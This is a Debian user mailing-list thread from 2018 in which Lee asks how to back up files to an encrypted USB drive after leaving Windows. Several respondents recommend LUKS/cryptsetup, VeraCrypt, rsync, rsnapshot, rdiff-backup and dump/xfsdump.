>>YYMMDD/ on an encrypted drive (ie. an incremental backup; I do a full
>>backup every few months)
>
> Luckily, you can use almost the exact same tools for achieving the same
> on Debian.
>
> There are a few choices for the encryption tool you use; I suggest using
> "cryptsetup", especially over a few of the alternatives (encfs, ecryptfs)
> but the tooling you use to achieve this will depend upon what desktop
> environment (if any) you are using.

Well that's .. surprising.  I went with xfce because it's supposed to
be 'lightweight' and I'm trying debian on an old laptop.  If I go with
something other than xfce is it just mounting & unlocking the external
drive that changes or is there more?

> I know that GNOME 3 (what I'm using) can detect and mount LUKS-encrypted
> disks when they are attached to my machine. What I'm not sure about is
> whether it can be used to create those in the first place. Although I
> guess that's a one-time operation (per external USB), so not too bad to
> do it via command-line tools. See man cryptsetup(1)
> 

Wow!  A lot of good info there that's going to take me a while to
digest - thank you.

> Once you've got the encrypted disk set up, you could use unison
> similarly to how you are on Windows. You'd need to re-implement the
> batch file if you wanted exactly the same behaviour for that, and
> there's no direct analogue of the archive bit that I can think of, so
> marking/identifying files is one part of the puzzle;

No problem re-implementing the batch file as a script :)  & I've got
unison setup to compare the files to see if the backup is current or
not, so the archive bit doesn't come into play there.

> I'd recommend
> taking a look at rsync for performing the copy.

I've used rsync at work.  It was fast & good enuf for keeping my files
on different machines consistent but I never figured out how to sync
everything except   eg. backing up
~/.cache seems like a waste of time & disk space.

> Or throw it all out and use something like rdiff-backup and just back up
> everything…

Which can take a long time & tends to back up way more than I want.
Or is there a way to give it a list of files & directories to ignore?
That was the main reason I liked unison - it's easy to create a list
of files/directories to ignore.

Thanks
Lee

Re: how to backup to an encrypted usb drive?

[Andrew McGlashan]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Hi,

On 15/11/18 2:01 am, Lee wrote:
> What are you using to backup your files to an encrypted usb drive?

In an ideal world:

1. Don't use TrueCrypt any longer, VeraCrypt is the natural
replacement in the Winblows world.  TrueCrypt hasn't been considered
safe for quite some time and whilst I think VeraCrypt is fine, it has
the same original base as TrueCrypt and, in theory, goes against the
original TC license, but whose going to stop them?  I do use VeraCrypt
on Windows machines.

2. Don't use ANY drive or flash memory type device without encryption
for data you care about and which must be secure as you can never be
100% certain that wear leveling (or other mechanisms) won't leave your
data behind because a block on the media gets remapped and the
original block gets abandoned.  That is, any media type may well
silently re-map data sectors transparently.  That includes traditional
spinning rust,   Linux installs do need a non-encrypted /boot
partition, but everything else should be fully encrypted.  EFI/UEFI
could adjust your options for booting, as would GPT vs MBR type disks
disk labeling.

3. Encrypt with LUKS (full disk encryption) where you can, the entire
device, partition only if you need to.


Actual backup, there are so many options.

Have multiple USB drives of same size, update drive 1 to drive 2 using
rsync -- then next drive 2 to drive 3.

Use rsnapshot for the backups with hourly, daily, weekly ... and more
if needed, snapshots.

Save encrypted backups to off-site storage or at least keep one
encrypted backup off site at all times -- hence why at least 3 drives.

I'm not going to be exhaustive, but you get the idea that there are
loads of options.

If you do use dump (and restore), of any variant, do the dump with the
file system NOT mounted.

Cheers
A.
-BEGIN PGP SIGNATURE-

iHUEAREIAB0WIQTJAoMHtC6YydLfjUOoFmvLt+/i+wUCW+xWagAKCRCoFmvLt+/i
+5xmAQCt4vdtmgjyT3IlbidGZ8e81sIPUNeMMYdnpVZV/0zMTQD/Y6JxDK397kZ8
Lw2fMdNQBptueYI1FED7HZ1KxncQwxw=
=w4dn
-END PGP SIGNATURE-

Re: how to backup to an encrypted usb drive?

[Reco]

On Wed, Nov 14, 2018 at 10:50:44AM -0500, Lee wrote:
> On 11/14/18, Reco  wrote:
> > Hi.
> >
> > On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
> >> What are you using to backup your files to an encrypted usb drive?
> >
> > For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
> 
> Which seems to require restore or xfsrestore?

Precisely.


> https://linux.die.net/man/8/xfsdump
>   The media format used by xfsdump can only be understood by xfsrestore.
> I can't tell from a quick look at dump/restore if I can look at files
> on the backup media or not

No, you do not. You'll need restore/xfsrestore first.
The whole purpose of a good filesystem backup is to capture all
file/directory attributes (which include, but aren't limited to POSIX
permissions, POSIX ACLs, SELinux labels, capability labels, extended
attributes to name a few). That's where dump/xfsdump guarantee you to
capture anything that a filesystem supports.

If you're content with losing all this metadata in your backup - there
are rsync, cpio or tar. Or all those 'backup solutions' based on those.


> > For the encryption of this hypothetical drive (I don't use USB drives
> > for these purposes) - luks only.
> 
> Why don't you like USB drives for these purposes?

Because backing up something to NFS share is easier.
And, I'm strong believer of 'machine works, human thinks' principle.
Automating backups to NFS (and replicating them from there) is simple.
Automating backup to USB drive - that's something that cannot be done
without human intervention.

> In other words, what am I missing?

Encrypted backups have their purpose, of course. For storing backups
offsite (whenever it's physical or cloud) encryption is invaluable.

But, the encryption is only as secure as the management of the
encryption key, and the only relatively secure example of that I can
come up with is gpg. And utilizing gpg for unattended backups is painful
to say the least.

Reco

Re: how to backup to an encrypted usb drive?

[Lee]

On 11/14/18, Reco  wrote:
>   Hi.
>
> On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
>> What are you using to backup your files to an encrypted usb drive?
>
> For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).

Which seems to require restore or xfsrestore?

https://linux.die.net/man/8/xfsdump
  The media format used by xfsdump can only be understood by xfsrestore.
I can't tell from a quick look at dump/restore if I can look at files
on the backup media or not

> For the encryption of this hypothetical drive (I don't use USB drives
> for these purposes) - luks only.

Why don't you like USB drives for these purposes?
In other words, what am I missing?

Thanks,
Lee

Re: how to backup to an encrypted usb drive?

[Jonathan Dowland]

On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:

What I've been using on windows is truecrypt to encrypt the drive and
1) unison + gui frontend to do a quick backup of selected files & 2) a
bat file that calls xcopy to copy files with the archive flag set to
YYMMDD/ on an encrypted drive (ie. an incremental backup; I do a full
backup every few months)


Luckily, you can use almost the exact same tools for achieving the same
on Debian.

There are a few choices for the encryption tool you use; I suggest using
"cryptsetup", especially over a few of the alternatives (encfs, ecryptfs)
but the tooling you use to achieve this will depend upon what desktop
environment (if any) you are using.

I know that GNOME 3 (what I'm using) can detect and mount LUKS-encrypted
disks when they are attached to my machine. What I'm not sure about is
whether it can be used to create those in the first place. Although I
guess that's a one-time operation (per external USB), so not too bad to
do it via command-line tools. See man cryptsetup(1)


Once you've got the encrypted disk set up, you could use unison
similarly to how you are on Windows. You'd need to re-implement the
batch file if you wanted exactly the same behaviour for that, and
there's no direct analogue of the archive bit that I can think of, so
marking/identifying files is one part of the puzzle; I'd recommend
taking a look at rsync for performing the copy.

Or throw it all out and use something like rdiff-backup and just back up
everything…


--

⢀⣴⠾⠻⢶⣦⠀
⣾⠁⢠⠒⠀⣿⡁ Jonathan Dowland
⢿⡄⠘⠷⠚⠋⠀ https://jmtd.net
⠈⠳⣄ Please do not CC me, I am subscribed to the list.

Re: how to backup to an encrypted usb drive?

[Reco]

Hi.

On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
> What are you using to backup your files to an encrypted usb drive?

For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
For the encryption of this hypothetical drive (I don't use USB drives
for these purposes) - luks only.

Reco

how to backup to an encrypted usb drive?

[Lee]

What are you using to backup your files to an encrypted usb drive?

This is my first try at moving off windows, so it'd be best to assume
I know almost nothing about linux admin stuff.

What I've been using on windows is truecrypt to encrypt the drive and
1) unison + gui frontend to do a quick backup of selected files & 2) a
bat file that calls xcopy to copy files with the archive flag set to
YYMMDD/ on an encrypted drive (ie. an incremental backup; I do a full
backup every few months)

Thanks
Lee